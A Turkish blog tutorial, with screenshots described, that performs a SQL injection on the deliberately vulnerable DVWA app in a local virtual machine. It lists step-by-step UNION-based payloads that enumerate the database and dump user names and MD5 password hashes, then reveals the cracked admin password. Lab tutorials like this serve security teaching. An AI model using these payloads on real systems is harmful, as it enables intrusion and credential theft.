Sql İnjection Örnek Saldırı (Resimli Anlatım)

Bu uygulama örneğinde, DVWA adlı web uygulamasının içerisinde bulunan bir sayfanın güvenlik zafiyetinden faydalanarak SQL Injection saldırısı gerçekleştirilmiştir. İlgili uygulamanın senaryosu, hedef sitenin veritabanında saklı olan admin şifresini SQL Injection açığından faydalanılarak ele geçirmektir.

Uygulamaya Hazırlık

Uygulamanın gerçekleştirilmesinden önce bahsi geçen programın kurulum işlemleri yapıldı. DVWA programını kullanabilmek adına öncelikle Virtual Box sanal makineme Ubuntu 14.04.5 LTS işletim sistemini kurdum. İlgili işletim sistemine DVWA yazılımını kurmak için üç bölümden oluşan işlemler gerçekleştirdim. İlk olarak Apache, MySQL ve PHP kurulumlarını yaptım. İkinci bölümde ise yüklediğim Apache kök dizinini değitirdim. Bu işlemin yapılmasının amacı sonrasında DVWA dosyasının ilgili dizin altına kaydedilecek olmasıdır. Sırasıyla tüm yapılandırma işlemlerini tamamladıktan sonra ise son bölüm olan ilgili programın kurulması işlemini gerçekleştirdim.

Bu işlem için tarayıcıma http://localhost/dvwa yazdım ve çıkan ekrana kullanıcı adı olarak ‘admin’ şifre olarak ‘password’ girerek sisteme erişim sağladım. Create/Reset Database butonuna tıkladığımda ise işlemlerim tamamlanmış ve ilgili program uygulamamı gerçekleştirmem için hazır hale gelmiş oldu.

Uygulama Yapımı

Uygulamayı gerçekleştirmek için ilk olarak sisteme giriş yapıldı.sql injection dvwa

Uygulamalar listesinden üzerinde çalışılacak olan zafiyet seçildi. Çalışılacak olan saldırı “SQL Injection” zafiyetidir.

sql injection

Üzerinde saldırı yapılacak ekran aşağıdaki gibidir.

sql injection

İlk olarak metin kutusuna 1 girildi.

sql injection

Sonrasında metin kutusuna 1’ girildi ve aşağıdaki hata alındı.

Metin kutusuna girilen ‘ işareti ile zafiyet olduğu ihtimali belirlendi ve sonrasında metin kutusuna 99’ or ‘1’ =’1’ # kodu girildi.  Çıktı ise aşağıdaki gibidir. 1=1 bölümü her zaman doğru olduğundan dolayı tüm kayıtlar listelenmektedir.

sql injection

Kaç tane sütun olduğunu belirlemek için order by kodu kullanıldı 3 yazıldığında aşağıdaki hata alındı. Metin kutusuna girilen ifade ise 99’ or ‘1’=’1’ ORDER BY 3#. 3 yerine 1 ve 2 yazıldığında hata alınmadı.

Order By 2 yazıldığındaki ekran görüntüsü aşağıdaki gibidir.

sql injection

Metin kutusuna 99’ or ‘1’=’1’ UNION Select 1,2# komutu girildi ve böylece adı 1 ve soyadı 2 olacak şekilde bir kayıt eklendi. İlgili komutun çıktısı aşağıdaki görselde mevcuttur.

sql injection

Veritabanının versiyon bilgisini öğrenebilmek için metin kutusuna 99’ or ‘1’=’1’ UNION Select 1,version()# komutu girildi. Aynı zamanda kullanıcı bilgisini öğrenebilmek için 99’ or ‘1’=’1’ UNION Select 1,user ()# komutu girildi. İlgili komutların çıktıları alttaki görsellerde mevcuttur.

sql injection

sql injection

Sorguların yapıldığı tablonun hangi veritabanında olduğunu öğrenmek için 99’ or ‘1’=’1’ UNION Select 1,database ()# ve ilgili veritabanının dizinini öğrenmek için 99’ or ‘1’=’1’ UNION Select 1,@@datadir# komutları sırasıyla metin kutusuna girildi. Çıktıları aşağıda görülmektedir.

sql injection

sql injection

Metin kutusuna 99′ or ‘1’ = ‘1’ UNION Select 1,schema_name from information_schema.schemata # komutu girildi.

sql injection

Metin kutusuna sırasıyla 99′ or ‘1’ = ‘1’ UNION Select 1,group_concat(schema_name) from information_schema.schemata #  ve 99′ or ‘1’ = ‘1’ UNION Select 1, group_concat(table_name) from information_schema.tables Where table_schema=’dvwa’ # komutları girildi.  Çıktılar aşağıdaki gibidir.

sql injection

sql injection

Son olarak sırasıyla metin kutusuna 99′ or ‘1’ = ‘1’ UNION Select 1,group_concat(column_name) from information_schema.columns Where table_name=’users’ #  ve 99′ or ‘1’ = ‘1’ UNION Select 1,group_concat(user,0x3b,password,0x0a) from dvwa.users # komutları girilerek veritabanında bulunan tüm şifre bilgilerinin md5 şifreli halleri ele geçirilmiştir.

sql injection

sql injection

Yöneticinin kullanıcı ad ve şifre bilgisi admin;5f4dcc3b5aa765d61d8327deb882cf99’dir. İlgili şifre md5 algoritması ile şifrelenmiştir. İlgili şifre ise password kelimesidir.

Şunlar da hoşunuza gidebilir

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir